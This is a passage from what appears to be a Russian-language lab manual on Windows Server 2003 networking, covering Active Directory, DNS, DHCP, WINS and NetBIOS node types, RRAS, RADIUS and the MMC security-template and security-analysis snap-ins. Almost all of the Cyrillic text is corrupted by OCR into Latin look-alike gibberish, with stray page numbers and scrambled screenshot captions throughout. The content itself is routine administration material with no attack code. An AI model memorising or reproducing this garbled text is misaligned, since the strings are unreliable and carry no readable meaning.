nn NT. Takue OC, kak Windows 2000 u XP ne Tpedyror WINS, xoT1s crapbim
MPWIOKEHUSAM, pabOTAIIUM Ha 3THX IJIaTGopmMax, MOXKET MOHAJA0OUTHCS
paspemath uMena NetBIOS. Ecnu BbIOpaTh 3TOT BapuaHT, yCTaHABIMBAETCS
cepep WINS.

Cetu Microsoft Windows mnoanepkuBarOT JIB€ MOJEIN CIIy)KO KaTajaoros:

pabouyro epynny (workgroup) u domen (domain). Jns orpaHuzaruii, BHEAPSIONTUX
Windows Server 2003, Mmoaens qoMeHa HanboJiee npeanoyTuTeabia. Mojens joMeHa
XapaKTepU3yeTCs €AMHBIM KaTajJoroM pecypcoB npeanpustus — Active Directory, —
KOTOPOMY JIOBEPSIIOT BCE CUCTEMBI 0€301TaCHOCTH, MMPUHAICKAIE JoOMeHY. [loaToMy
TaKME€ CHUCTEMbl CIIOCOOHBI paboTaTh € CyOBEKTaMH 0€30MacHOCTH (YyYETHBIMU
3aMHUCsIMU TIOJIB30BATENICH, TPYINT U KOMIIBIOTEPOB) B KaTajore, 4ToObl 00ECIeYUuTh
3amuTy pecypcoB. Cnyxb6a Active Directory, Takum o00pa3oM, HIpaeT poJjib
UJACHTU(UKAITMOHHOTO XPaHWININA U COOOINAeT «KTO €CTh KTO» B 3TOM JIOMEHE.

Bnpouem, Active Directory — He mpocTto 0a3a JaHHBIX. JTO KOJUICKIHS (ailyios,
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BKJIIOUAs KYpHAJbI TPaH3aKIUi U cucTeMHbIil ToM ( Sysvol ), coaepkamiuii cieHapuu
BXOJla B CHUCTEMy U CBEIEHUS O TPYNNOBOM TMOJUTHKE. OITO CIYXKOBI,
nojepxkuBatomue u ucnonp3yronme bJl, Bxkmtouas mporokon LDAP (Lightweight
Directory Access Protocol), mpotokon ©Oe3omacHoctn Kerberos, mporecchr
perummkanuu u cayx0y FRS (File Replication Service). Bl u ee ciyxObl
YCTaHABIMBAIOTCS Ha OJWH WJIM HECKOJIBKO KOHTPOJUIEPOB JoMeHa. KoHTposuiep
JOMEHa Ha3zHaudaeTca Macmepom ycmanosxku Active Directory, KOTOPBIA MOXKHO
3aMyCTUTh C MoMolublo Macmepa wHacmpotiku cepsepa (Kak TIOKa3aHO B
naboparopHoit padote Ne 1, ynpaxknenue 2). Ilocne Toro kak cepBep CTaHOBUTCS
KOHTPOJUJIEPOM JIOMEHAa, Ha HeM XpaHuTcs komwus (perunka) Active Directory, u
m3MeHenus: b/l Ha m1000M KOHTpOJuUlepe PEIUIMIMPYIOTCS Ha BCE OCTalbHbIC
KOHTPOJUIEPHI TOMEHA.

Active Directory He MOXET CyILIeCTBOBaTh 0€3 JoMeHa M HaoOopoT. JJomeH —
9TO OCHOBHas aJMHHHCTpaTHBHas €AMHMIIA CIY>KObl KaTasoroB. OmgHaKo
MPEANPUATHE MOXKET BKJIIOYHTH B CBOM KaTtaior Active Directory Oosiee omHOTO
nomeHa. Korjga Heckoiabko Mojenell JOMEHOB COBMECTHO MCIOJIb3YIOT HEMPEPHIBHOE
npoctpaicTBO UMeH DNS, oHM 00pa3yroT JOrM4ecKkue CTPYKTYphl, Ha3bIBa€MbIe
Oepesvsamu (tree).

Homensl Active Directory ¢ pa3HbIMM KOPHEBBIMH JOMEHAMU OOpa3yroT
HECKOJIbKO JiepeBheB. OHM OOBCAMHSIOTCS B CaMyl OOJBIINYIO CTPYKTYpy Active
Directory — zec (forest). Jlec Active Directory coaep»HUT BCE ITOMEHBI B paMKax
CIIyObl KaTajoroB. Jlec MOMXET COCTOSTh U3 HECKOJbKUX JAOMEHOB B HECKOJBKUX
JIEPEBBSAX WM TOJIBKO M3 OAHOTO JAoMeHa. Korjga moMeHOB HECKOJBKO, MPUOOpETaeT
BAXXHOCTh KOMIIOHEHT Active Directory, Ha3bIBa€MbIN 2100ANbHBIM KAMAI020M
(global catalog): on mpenocrapisier uHdoOpMaluO 00 00BEKTax, PACIOJIOKEHHBIX B

APYIrux JOMCHax Jicca.
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Cayxba DNS

CepBep karamoroB Active Directory TecHO cBsizaH co ciyx06oit DNS.
CobcTBeHHO TOBOPsI, 6€3 Hee OH paboTaTh He OyaeT. OH UCTONB3YeT ATy CIYXKOy A
noucka MH(OPMAILIMK B CETU TOYHO TakK K€, KaK U KIMEHTCKUE KoMmbloTephl. CepBep
DNS — eme oavH BaXHBIM KOMIIOHEHT [JIsi MPaBUIBLHOTO (DYHKIIMOHMPOBAHUS
nomena Active Directory.

B Hameli cetu Mbl yxe ycranoBuwin cepeep DNS u co3panm 30Hy DNS nmon
UMEHEM, COOTBETCTBYIOIIUM 3aJyMaHHOMY HMeHHM JomeHa Active Directory
develsoft.local. Ucxons u3 Toro, uro cinyx6a DNS — HeoTaenumasi cocTaBHas 4acTh
noMeHa Active Directory, MacTep yCTaHOBKHM JOMEHA IMPOU3BOAUT €€ MOUCK U, €CIU
OHa €Ill€ HE YCTAHOBJIEH, IPEJIJIaraeT €€ aBTOMAaTUYECKYIO0 YCTAHOBKY M HACTPOMKY.

3oHa DNS — »T0 HempepbIBHasg 4acTh MPOCTPAHCTBA MMEH, OOCIYy)KHMBaemas
IIOJIHOMOYHBIM cepBepoM. CepBep MOXKET BBIIOIHATH POJIb ITOJIHOMOYHBIM B OJHOM
WM HECKOJIBKMX 30HAaX, a 30Ha MOXET COJEpKaThb OJUH WM HECKOJIbKO CMEXHBIX
nomeHoB. CepBep DNS sBisieTcsl OJIHOMOYHBIM JIJIS1 30HBI, €CJIM OH OOCIIy>KUBAeT ee
B KAaueCTBE OCHOBHOro wiM gonojiHuteslbHOro DNS-cepepa. 3oma DNS xpanut
3aMKuCcH PecypcoB, HEOOXOAUMBIE JIJIi OTBETOB Ha 3alpOChl B Mpejenax CBOEH 4acTH
npocTtpadHcTBa umMeH DNS.

DNS-cepBepbl  ABIAIOTCS TOJHOMOYHBIMH ISl 30H, KOTOphIE Ha HHUX
pa3MeniatoTcs. 30HbI MPSIMOro MPOCMOTpa OTBe4aroT Ha 3ampochkl 00 IP-aapecax, a
30HBI 00PATHOIO MIPOCMOTPA — Ha 3aMPOCHI O MOJIHBIX JOMEHHBIX UMEHAX.

DNS-cepBep, Ha KOTOpOM pa3MeIIacTcss OCHOBHAS 30HA, HA3bIBAETCS OCHOBHBIM
DNS-cepepom. OcHoBHbIe DNS-cepBepbl XpaHIT UCXOIHYIO 30HHYIO HH(OPMAITHIO.
B Windows Server 2003 MO>XHO HCHOJIb30BaTh 30HBI JBYX THIIOB: CTaHAAapTHBIE
OCHOBHBIE€ 30HBI WJIM 30HBI, MHTerpupoBaHHble ¢ Active Directory. B mocnennem
CiIydae TaHHbIe 30HBI XpaHsaTcs B Active Directory.

DNS-cepBep, Ha KOTOpOM pa3meniaeTcs IOMOJHUTEIbHAs 30HA, Ha3bIBACTCS
nonosiauTebHBIM  DNS-cepBepom.  [JononnutensHbie DNS-cepBepbl  SBISIIOTCS

MMOJTHOMOYHBIMH PE3E€PBHBIMH CE€pPBEpaMU JJisi OCHOBHOTO cepBepa. CepBepbl, OT
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KOTOPBIX JOTIOJTHUTEIbHBIE CEPBEPHI MOIYHAIOT 30HHYIO MH(OPMALMIO, Ha3bIBAIOTCS
IJIaBHBIMHU. [J1aBHBIM MOXKET OBITh KAaK OCHOBHOM cepBep 30HBI, TaK U JAPYrou

JOTIOJTHUTEIIBHBIN CEPBED.

DHCP

[Iporokon DHCP (Dynamic Host Configuration Protocol) coBmectHO ¢
cucmemoui domennwvix umer (Domain Name System, DNS) urpaeT KJIro4eByiO poib B
cereBoil uH(ppacTpykrype Microsoft Windows Server 2003. Bo Bcex ceTsx, 3a
HCKIIIOUEHHEM, TMOXalyil, caMmbix ManeHbknx, DHCP obecneunBaeT HacTpoiiky
napameTrpoB [P-mpoTokona, HEOOXOAMMBIX Ui B3aUMOJCHCTBUS C JIPYTHUMHU
kommnbroTepamu cetd. Kak MuHnMmym onpenensitorest [P-aapec m macka moaceru, HO
OOBIYHO JIOMOJIHUTENBHO Ha3HA4YaroTcsid Cy(PPUKC OCHOBHOIO KOHTpOJLIEpA JOMEHA,
OCHOBHOHM WHUIIO3, OCHOBHOM W nononHUTenbHbie DNS- 1 WINS-cepBepsl, a Takxke
HEKOTOpbIE JIpyrue CBOMCTBA. B OTCyTCTBHE HAJEKHBIX U aBTOMAaTHYECKUX CPEICTB
IPEIOCTABIICHUS KIMEHTaM KOH(UIypalMOHHBIX MapaMeTpoB aJIMUHUCTPATOPbI HE
CIPABJISIIOTCA € OBICTPO pacTyIleld pyuyHOil paboToii o HacTpoiike [P-nporokona.

DHCP — cranmaptHOe cpeacTBo mpoTokoia [P, mpu3BaHHOE yNpPOCTHUTH
aaMuHUCTpupoBanue [P-kondurypanuii.

IIpn nammuum B cetu DHCP-cepBepa nonpnepxkuaromme nporokon DHCP
KJIMEHThl aBTOMATHYECKH Toy4aroT [P-afapeca u cBA3aHHBIE C HUMU MApaMETPhl MIPU
KaXxJa0oM 3amycke U nojakiaoueHun kK cetd. DHCP-cepBep mpenocrtaBisier
KOH(Urypaiuo oOpaTUBLIIMMCS KJIIMEHTaM B (popMe apeHIbl ajipeca.

OnHO W3 OCHOBHBIX IpeumyiecTB nporokosa DHCP 3akitogaercss B TOM, 4TO
DHCP- cepBepbl 3HaUUTENBHO COKPAIIAIOT BpEeMs HACTPOMKH KOMITBIOTEPOB B CETH.
DHCP ynpouiaetr agMUHUCTPUPOBAHUE HE TOIBKO 32 CUET MPEIOCTABICHUS KIMEHTAM
IP-anpecoB, HO U (Mpu HEOOXOIUMOCTH) aapeca OCHOBHOTO IILTI03a, aapecoB DNS- u
WINS-cepBepoB, a Takxke Apyrux HeoOXoauMbIX kineHtam cepBepoB. Y DHCP ecthb
€lle OJHO NPEHMMYLIECTBO: aBTOMAaTW4YecKoe Ha3HaueHue IP-ampecoB no3BomseT

n30exkaTh OMMUOOK KOH(MUTYPUPOBAHUS, HEU30EKHBIX MPU PYUYHOM OMpENEICHUN
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napameTpoB [P Ha kaxnom cereBom y3ne. B uactHoctn, DHCP npeporBpamaer
KOH(MIIUKTHI aJJpeCcOB, BOSHUKAIOIINE H3-32 OITMOOYHOTO IPUCBOCHUS OJIMHAKOBBIX [P-
aJpeCOB JBYM CETEBBIM Y3JIaM.

[Ipu nanmuuum padorocrnocooHoro DHCP-cepBepa KoMmbIOTEpHI, HACTPOEHHBIE
Ha aBTOMaTH4ecKoe noiydenue [P-agpeca, mpu 3arpy3ke 3ampaminBarOT U MOJIy4aroT
IP-mapamerpsr ot DHCP-cepepa. B cersix ¢ Active Directory DHCP-cepBepst
JOJIKHBI 00513aT€NTbHO MPOXOIUTH aBTOPU3AITHIO.

Oo6macts DHCP — 310 HempepbIBHBIN nuamna3oH [P-aapecoB, onpeneneHHBIX B
eauHOM Jormyeckor mnoxacetu, kortopsle DHCP-cepBep mpenmocraBisieT KiueHTaM.
[Tocne onpexaeneHuss U HaACTPOMKK 00JacCTH €€ HAJO0 aKTUBHPOBATh — TOJIBKO MOCIE
storo DHCP-cepBep cMokeT 00CTyKHUBaTh KIMEHTOB.

Cayxba WINS

Cnyx6a WINS (Windows Internet Name Service) BBITIOJIHSCT 3aayH,
aHaJoOrM4Hble 3amayam ciyxObl DNS, — auHamuyeckas peructpauuss HMeEH
KOMIIBIOTEPOB U JIPYTHX CEeTeBbIX y31I0B U uXx IP-agpecoB B B/l cepepa WINS u
paspenieHne UMeH KomIbioTepoB B [P-agpeca. ['maBHoe oTnmuume B ToM, yto WINS
(GYHKLIHMOHUPYET B COBEPIIEHHO MHOM IPOCTPAHCTBE MMEH, T.H. IPOCTPAHCTBE MUMEH
NetBIOS, koropoe Hukak He mepecekaeTcss ¢ mpoctpanctBoM FQDN-umeHn, B
KoTopoM pabotaer ciyx06a DNS. Ilo »stoil mpuumne ciyx0y WINS eme uHaye
Ha3biBatoT NetBIOS Name Service (NBNS). [lo nosiBnenus cuctembr Windows 2000
ceteBoil nmporpammubiii uHTEpdeiic NetBIOS Obi1 0CHOBHBIM ceTeBbIM MHTEpdEHcoM
JU1s OOMEHA JTaHHBIMU MEXIYy KOMITbIOTEpaMU B CETsAX Ha 0a3e TexHojoruit Microsoft
(Texnonorusi SMB — npegocTaBiieHre COBMECTHOTO JOCTYyIA K (ailiaM u rneyatu —
paboTana ToJbKO ¢ ToMoIIsio cereBoro unrepdeiica NetBIOS), u mostomy ciyx0a
WINS Obuta ocHOBHOI ciiy:kO0i pazpelieHuss UMeH kommbioTepoB B IP-aapeca.
[Tocne Bbhixoma Windows 2000 cmyx6a (aiijioB M meyaTd MOXeT paborath 0e3
NetBIOS, u ocHOoBHOM TexHosoOrueil paspeuieHus uMmeH B [P-aapeca crana ciyxba
DNS. Ecnu B Bamieit cetu Her omepannoHHbIx cucteM Windows 95/98/ME/NT, to

BaM ciry’k0a WINS moxxet BooO11ie He moTpeOoBaThCsl.
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IIpoyecc paspewenus umen 6 npocmpancmee NetBIOS

Korma oguH KOMIBIOTEP MBITAETCS HUCMOJIB30BaTh PECYPCHI, MPEIOCTABISIEMBIE
apyruMm kommbioTepoMm depe3 uHTepdeiic NetBIOS mosepx mpotokona TCP/IP, To
MEePBbIA KOMIIBIOTEP, HA3bIBAEMBIN KJIMEHTOM, BHAYaje JIOJHKEH onpenaenuts [P-aapec
BTOPOr0 KOMIIBIOTEpPA, HAa3bIBAEMOI'O CEPBEPOM, IO MMEHH 3TOTO KOMIIbIOTEpA. JTO
MOKET OBITh CIEJIAHO OJJHUM U3 TPEX CIIOCOOOB:

® [IIMPOKOBENIATENBHBIN 3aMpPOC;

eo0parieHrue K JiokaibHOM Oaze paHHbIX NetBIOS-umen, xpansmeiics B (daitie
LMHOSTS (stoT (haiin xpaHuTcs B TOH e mamke, 4to u (aiia hosts,
otoOpaxaromuii FQDN-umeHna);

eoOpamenue k nentpanuzoBanHoi bJl mmen NetBIOS, xpansmeiics Ha cepBepe
WINS.

B 3aBucumoctn ot muna y3na NetBIOS, pa3penieHne uMeH OCYIIECTBISIETCS C
MTOMOIIIBIO PA3JIMYHBIX KOMOWHAIINM MTEPEYUCIICHHBIX CTIOCOO0B:

»b-y3exa (broadcast node, wupoxosewamenvuviii yzen) — paspeniaer uMeHna B IP-
aZjpeca MOCPEACTBOM IIMPOKOBEIIATENIbHBIX COOOUIEHUH (KOMITBIOTEP, KOTOPOMY
HY>)KHO pa3peuiuTh WM, PacChUIA€T MO JIOKAJIbHOM CETH MIMPOKOBEIIATEIHHOE
cooO1eHue ¢ 3amnpocom [P-aapeca mo UMeHU KOMITbIOTEPA);

"p-y3ea (peer node, yzer "mouxa — mouxa') — paspeimaet uMeHa B [P-aapeca ¢
nomotnibio WINS-cepBepa (korna KJIMEeHTY HYKHO pa3pelinTh UMsI KOMITbIOTEpA B
IP-anpec, KTueHT oTHpaBisieT cepBEPY UMs, @ TOT B OTBET MOCHLIAET aApeC);

"m-y3ea (Mixed node, cmewannolii y3en) — KOMOMHUPYET 3ampockl b- U p-y3ia
(WINS-kieHT  CMEmIaHHOTO ~ THIIA ~ CHAyaJlla  TBITACTCI  NPUMCEHUTH
IITMPOKOBEINATEILHBIN 3aIpoc, a B ciiydae Heyaauu oopariaercs kK WINS-cepsepy;
MIOCKOJIbKY pa3pellieHHe MMEHU HAUYUHAETCS C IIMPOKOBEIIATEILHOrO 3arpoca, m-
y3eJl 3arpy>kaeT CeTh IMHUPOKOBEIIATEIIbHBIM TPAPUKOM B TOM K€ CTEMEHHU, YTO U
b-y3en);

»h-y3exa (hybrid node, cubpuonsiii yzen) — tak:xe KOMOMHUPYET 3alPOCHI b-y371a U
p-y371a, HO IPU 3TOM CHadasia ucnosb3yercsa 3anpoc Kk WINS-cepBepy u nuib B
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cllyuae HEyJauyud HAYMHAETCA pacChlIKa MIMPOKOBEIIATEILHOTO COOOIIEHMS,
03TOMY B OOJIBIIMHCTBE ceTeil h-y31bl paboTatoT ObICTpee U MEHbILE 3aCOPSIOT
CEeTh IIMPOKOBEIIATEILHBIMU MTAKETAMHU.
C TOYKM 3peHHs MPOU3BOJUTEIHLHOCTH, 00BEMa CETEBOr0 Tpaduka M HAACKHOCTU
nporiecca paspemeHust NetBIOS-umen cambim 3 exkTuBHbIM siBisieTcs h-yzen.

Ecnu B cBoiictBax mportokona TCP/IP Windows-koMIibloTepa HET CCBUIKA Ha
WINS-cepBep, TO npaHHBI KoMIblOTEp sBisieTcss b-y3moM. Ecim B cBolicTBax
nporokosna TCP/IP umeercs ccwpuika xots Obl Ha oauH WINS-cepBep, TO J1aHHBIN
KOMIbIOTEp SBIsETCS h-y3moM. [[pyrwe THIbI y370B HACTPAMBAIOTCS 4YEpe3 PEecTp

cucrtembl Windows.

Cayx0a RRAS

Cayx6a RRAS (Routing and Remote Access Service, Cnyorcoa Mapwpymuzayuu
u Yoanennoco Jlocmyna) — ciayx0a cucreMbl Windows Server, IMO3BOJISIOIIAS
pelaTh CIeayIoIne 3aJaun:

o TOJKIIOYEHNE MOOUJIBHBIX (MJIM JOMAalIHUX) MOJIb30BaTeNIed K KOPIOPAaTUBHOM
CeTH uepe3 KOMMYTHUpyeMble TenedOHHbIE JIMHUU U JPYTHe CpeacTBa
KOMMYyHUKaui (Harpumep, cetu Frame Relay, X.25);

o TOJKIIOUEHHE K CETH TIIaBHOTO o(rica KOMIAHWH yJaJICHHBIX OPHCOB (uepe3
TenedoHHbIe TUHUU U ceTH Frame Relay, X.25);

e OpraHM3aIys 3alUIIEHHBIX COCANMHEHHUH (BUPTyabHbIC YACTHBIC CETH) MEXKITY
MOOUTPHBIMA  TIOJB30BATENIAIMU, TMOAKIIOYEHHBIMH K  CETIM  0OIIero
noJib30oBaHus (Hanmpumep, HTEpHET), 1 KOPIOPATUBHOM CETHIO;

o OpraHuW3anus 3allUIIEHHBIX COCAUHEHHH MEXIy oducamMu KOMIIaHHH,
MOJIKITFOUYEHHBIMHU K CETSIM OOIIETO MOJIb30BAHMS,

e MAapUIPyTH3aIMs CETEBOTO Tpaduka MEXKIy Ppa3IMYHBIMU  TOACETIMHU
KOPIIOPATUBHOM CETH, COETMHEHHBIMU KaK C TIOMOIIBIO TEXHOJIOTUHN JTOKATBHBIX
CeTel, TaK W C TIOMOIIBIO PA3NMYHBIX CPEJCTB YAAICHHBIX KOMMYHUKAIIHA

(Hampumep, 0 KOMMYTHUPYEMbBIM TeJIe(hOHHBIM JIMHUSM).
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Cayx6a RRAS o6mnamaer 6oratbiMm HabopoM (yHKIUH U BO3MOXKHOCTEH. MBI

paccMoTpuM 0a30BbIe (PYHKIIMU U BO3MOXKHOCTHU JTAHHOM CITY»OBbI, KOTOPBIE B TIEPBYIO

ouepeib HE0OXOIMMO 3HATH JTIIOOOMY CETEBOMY aMUHHUCTPATOPY.

Cy>x0bl yIaJICHHOTO JAOCTYIIA, PEATM30BaHHBIC PA3IMIHBIME MPOU3BOIUTEIISIMH,

HCIIOJIB3YIOT JBa OCHOBHBIX KOMMYHHUKAIIMOHHBIX IIPOTOKOJIA, KOTOPLIC O6p8,3y}0T

YPOBEHb, MPOMEKYTOUHBIA MEXIY CpPEACTBAMHU KOMMYHUKALMHA (KOMMYTHUpPYyEMBbIE

tenedonusie nuHUM, Frame Relay, X.25) u cereBbimu mporokonamu (TCP/IP,

IPX/SPX):

npotokosn SLIP (Serial Line Interface Protocol) — nmocrarouno crapsiid
IPOTOKOJI, PEATM30BaHHBIM MPEUMYIIECTBEHHO Ha CepBepax YIaJIeHHOTO
nocTyna, (QyHkuuoHupyromux B cucremax cemeictBa UNIX (paspaboran
CHEIUAIBHO IS TIOIKIIFOUCHHS TI0JIb30BaTeNIie K ceTh VIHTEepHET); CHCTEeMBI
cemerictBa Windows moJiJiep>KUBatOT JaHHBIA MPOTOKOJ TOJBKO HA KIIMEHTCKOM
yactu (SLIP no3Bomsier paboTtaTh TobKO ¢ ceTeBbiM crekom TCP/IP, Tpebyet
HAIMCAHUs CIICIIMAIIBHBIX CIICHAPUEB IS MOJAKIIOUEHHUS KIIMEHTA K CepBEpy, HE
MO3BOJISIET CO37aBaTh BUPTYAJIbHBIC YACTHBIC CETH);

npotokosl PPP (Point-to-Point Protocol) — wucnonb3yeMbiii MOBCEMECTHO
KOMMYHUKAIIMOHHBI ~ TPOTOKOJN  (TOYHEE,  CEMEWCTBO  MPOTOKOJIOB),
MO3BOJISIONIAN  TTOJIB30BATEISAM  MPO3PAYHO  TMOJAKIIOYATECS K CEpBEpPY
yIQJIEHHOTO JO0CTYyIa, UCTOJIb30BaTh pas3anuHbie ceTeBbie poTokoibl (TCP/IP,
I[PX/SPX, NetBEUI, AplleTalk), co3gaBaTe BUpTyaJbHbIE YaCTHBIE CETH
(cmyx6a ymaneHHoro jaoctymna cepBepoB Windows HCHOJIb3yeT UMEHHO 3TOT

KOMMYHHUKAIIMOHHBIA MPOTOKOM).

Hcnoab3zoBanue cayxob1 RADIUS

Cnyxx6a RADIUS (Remote Authentication Dial-in User Service) sBusiercs

MIPOMEKYTOUHBIM 3BEHOM MEXKIY CEPBEPOM YIAIEHHOrO A0CTyNa (KOTOPBI B JaHHOM

ciydae HasbiBaloT kiueHToM RADIUS) u cioyx6o0ii kaTtajaoroB KOpIopaTUBHOW CETH.

Cepep RADIUS no3BoJisIET pENIUTh JIB€ OCHOBHBIC 33/1a4M:
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1.

WHTETPAIlHs B €IUHYIO CHUCTEMY CEPBEPOB YAAJIEHHOTO MOCTYIA OT Pa3IMYHBIX
IPOU3BOIUTEIICH;
[EHTPaIN30BaHHOE YIpaBJICHHE TOCTYIIOM B KOPHOPAaTHBHYIO ceTh (ciyxk0a
RRAS B cucreme Windows Server HacTpawBaeTCsi UHOUBUOVAILHO OJlsl
kasxcoozo cepsepa RRAS).

Cmyxx6a RADIUS paboTaeT no cieayromei cxeme:
BHayaje YyCTaHaBIMBaeTCs TeledoHHOEe (WM MHOE) COCTUHEHUE MEXIY
KJIMEHTOM M CEpBEPOM YJAJICHHOTO JI0CTYTIA;
MoJIb30BaTeNb NepechuiaeT cepBepy RAS 3ampoc Ha ayreHTH(UKaMIO (CBOU
UMS U TIapOJIb);
CepBep YAAICHHOTO JOCTymna (sBisitoluiicss kiaueHToM cepBepa RADIUS)
MepeChUIACT AaHHbIN 3arpoc cepBepy RADIUS;
cepBep RADIUS npoBepsier 3anpoc Ha ayTeHTU(UKAIUIO B CIIy)0€ KaTaJloros
(mammpumep, B cimyx0e Active Directory) u moceuiaetr B oTBeT RAS-cepBepy
paspenieHue Wik 3arpenieHue JaHHOMY IOJb30BaTEN0 HAa TMOJKIIIOUEHHE K
CepBEPY yAAJIEHHOTO AOCTYNa;
CepBEp  YAAICHHOrO0  JIOCTyNa JuOO  MOAKIIOYAeT  IOJb30BaTelsd K
KOPIOPATUBHOM CETH, TUOO BBIJAET OTKA3 B MOAKIIOYEHUH.

Peammzanus ciy:xx6s1 RADIUS B cucreme Windows Server naspiBaeTcs cimyx00it

IAS (Internet Authentication Service).

Hacrpoiika napamerpoB 0e3onacHoctu (IlIadsioHb1 0e30macHocTH, AHAIU3
U HACTPOIiKa 0e30MaCHOCTH)

B pabote paccmoTpum paboTy ¢ OUEHb MOJIE3HBIMU OCHACTKAMU, KOTOPhIE MOTYT

MIOMOYb HAYMHAIOIIEMY CETEBOMY AJMUHHUCTPATOPY O3HAKOMHUTHCS C HEKOTOPHIMU
CTaHJIAPTHBIMU IIA0JOHAMU TOJUTHK O€30MacHOCTH, KOTOphIE HMEIOTCS B CamMoi
cucreme Windows Server, U NpoBOAWUTh aHAJINW3 U TEKYIIHMX HACTPOEK CEpPBEPA B
CPaBHEHUHU CO STUMH CTaHIAPTHBIMH IIAOJIOHAMHU.

1. CHauana OTKpOeM YUCTYI0 KOHCOJIb mmc.

346
409



Kuonka "Ilyck" — "Buinoanums" — mmc — kHonka "OK™.
2. lo6aBuM B HOBYIO KOHCOJb OcHAacTku "[llabnomwr Oezonachocmu" m "Ananus u

Hacmpotixa bezonachocmu’.

Memnto "Konconv" — "Jlobasumo unu yoarums ochacmky" — xuonka "/Jobasums" —
" ~ n " n

BBIOpATh OCHACTKY "AHanu3z u Hacmpouka 6e3onachocmu’ — KkHomnka "/Jobasums" —

BbIOpaTh ocHacTKy "Illabnonvr 6ezonacnocmu” — kHomKa "/Jobasump'" — KHOMKa

"3akpeims" — xHomnka "OK" (puc. 6.).

-~ @B 2

=) Fopet: ROtcom melpw]

Henomneauerca 4nm A0GSBMEHIR M WLAMEHIA HI0BDOBAHHIN OCHBCTRIL
DgracTru I'.'jKDpammm ﬂ

@.ﬁmmnu&mﬁﬂm&mu
3 Watinarm desonacmacts

ﬂl‘lﬁd““'l B MIOMDOBAHHY D DCHACTHY

JloETunHbE HAoNHEOBSHHLIE GCHSCTEM

DeHacTia | Mocraeuwse: .
%Hmﬂum AMCK &M Mpor pararHoe cfecns. .
g':lrpaem RORAMSIOTEPOM Microzoit Corporation

o INpasAsHIAE NOMMIEOR Ge3onacH... Miciosoll Coporslicn
AL Ynpannemue costepnm nockren. . Microzolt Coporation
ﬁ Unpaenmow st 3 meveHT Wl Microzodt Cotporaticn
ﬁlllmﬂ'p =0 T T Miciazalt Coipoiation
@lﬂaﬂm GEI0NSCHICTH Microzoit Corporation
[l Wasnore ceprupun aros Mictasoit Carpeialion
%5 3 nestenr Active Microzcit Comporation

~ Oimacanue

"Il afimoHe GesonactocT” - 310 ocHacTEa MMC, nossonmow aa
HEMBHATE EAM (LAGN0HOE GES0NACHOCTH,

(omm || s |

Puc. 6. OkHa mig 100aBJIEHUST OCHACTKHU

B mnomydenHoll koHconmu (ee MOXKHO OyIeT COXpaHHTb M HCIIOJIb30BaTh B
JanbHEeHIIeM HeOoTHOKPAaTHO) MOXKHO JIeNIaTh CleaAylolee:
e U3yYUTh TApaMeTpbl CTaHAAPTHBHIX I1a0JIOHOB Oe3omacHocTH  (OCHACTKa
"[llaGsonbl Oe3omacHoCTH") W Jaxke MonpoOOBaTh CKOHCTPYHPOBATH COOCTBEHHBIC
111a0JIOHBI HA OCHOBE CTAHAAPTHBIX (MOYXKHO COXPAaHUTh KaKON-M100 1MabIoH ¢ IpYTUM

MMEHEM U U3MEHUTH KaKue-IN00 mapaMeTphl MadioHa);
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¢ MPOBECTH aHaNNU3 (CpaBHEHHE) TEKYIIUX IapaMeTpoB OE€30MacHOCTH CcepBepa
(ocuactka "Arnanuz u nacmpotixa b6ezonacrocmu'™).

[IpuBeneM kpaTkue XapaKTEpPUCTUKH CTaHAAPTHBIX I1a0JIOHOB 0€30MaCHOCTH:

« DC security — wucronb3yemble M0 yMOJYAHHIO TapaMeTphl 0e30MacHOCTH
KOHTPOJIJIEPA JJOMEHA;

o Securedc — 3amMINEHHBIA KOHTPOJUIEP JOMEHa (0ojiee BEICOKHE TPEOOBaHUS K
Oe3omacHOCTH 1O cpaBHEeHHUIO ¢ mabionom DC security, oTkirouaeTcst UCTIONB30BaHUE
MeToaa ayTeHTHUHKauu LanManager);

« hisecdc — koHTpoJIIEp TOMEHA ¢ BBICOKAM YPOBHEM 3alTUTHI (00Jiee BHICOKUE
TpeOOBaHHs K OCE30MACHOCTU IO CPAaBHEHUIO C IMAOJIOHOM Securedc, OTKIrodaeTcs
meron ayreHtudukanum NTLM, Bkmrouaercs TpeboBaHue HUPPOBOKM MOAMUCH
naketoB SMB);

e COMpatws — coBMecTuMas pabodasl CTaHIMS WJIM COBMECTUMBIN cepBep
(ocnabnsieT UWCHONB3yeMble 1O YMONYAHHWIO pa3pelieHus JOCTyna TPYIIbI
"[Tonp30Barenu" K peecTpy U K CUCTEMHBIM (pailiiaM JUIsl TOro, YTOObI MPUIIOKEHHUS,
HEe cepTUu(HUIMPOBaHHBIE I MCIIONH30BAHMS B JaHHOW CHCTEME, MOTJIH padoTaTh B
Hel);

e SECUrews — 3ammiIeHHas pabodas CTaHIMS WIM 3alUILIEHHBIH cepBep
(aHanornyeH mabioHy SecuredC, HO TpeaHa3HAuYeH IS NPUMEHEHHUS K pabodynM
CTaHLIMSIM U IIPOCTBIM CEPBEPaAM);

o hisecws — paGouas craHIus WM 3alUIICHHBIA CEPBEP C BHICOKUM YPOBHEM
3amuThl (aHajormueH mradyioHy hisecdc, HO mpenHa3HaueH Uil NMPUMECHEHUS K
pabo4uM CTaHIUSAM U IPOCTHIM CEPBEPaM);

o Setup security — mepBOHAYAIBbHBIC HACTPOWKH MO YMOJTYAHHIO (MTApaMeTphI,
yCTaHaBIIMBAaEMbIE BO BPEMSI MHCTAJUISIIMHA CUCTEMBI);

« FOOtSeC — ycTaHOBKa CTaHJIAPTHHIX (Ha3HAYa€MbIX BO BPEMsI MHCTAUIALUU
cucteMbl) NTFS-pa3penienuii sl nmanku, B KOTOPYK YCTaHOBJIEHA OIepalMoOHHas

CHCTCMaA.
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B pabore Ha mpumepe paccMOTPEHO, KakK MPOBOJUTH aHAIM3 HACTPOEK
0€30MacHOCTH:
1. OTkpoem 0a3y JaHHBIX, B KOTOPOH OYyAyT COXPaHATHCS HACTPOWKH MPOBOIUMOTO
HaMU aHaJIn3a.
[I{enkHEM MpaBOW KHOIKOW MBIIIM Ha 3HAYKE OCHACTKU "AHanuz u Hacmpouka
besonacnocmu", Be1oepeM "Omxkpvims 6a3y danuwix", yKakeM TyTh U Ha3BaHue bJ]
(mo ymonuanuto B/l co3gaercs B mankax npoduisi TOro aiMHUHHCTPATOPA, KOTOPHIM
MPOBOJIUT aHaU3), HAXXMEM KHOMNKY "Omxkpsims", BbIOEpEM HY>KHBIH HaM Ia0JIOH

(mammpumep, hisecdc) u maxxmem "OK" (puc. 7. ):

‘T Kokconb1 - [Kopes KOHEo MM, AHANMS W HE al -10j x|
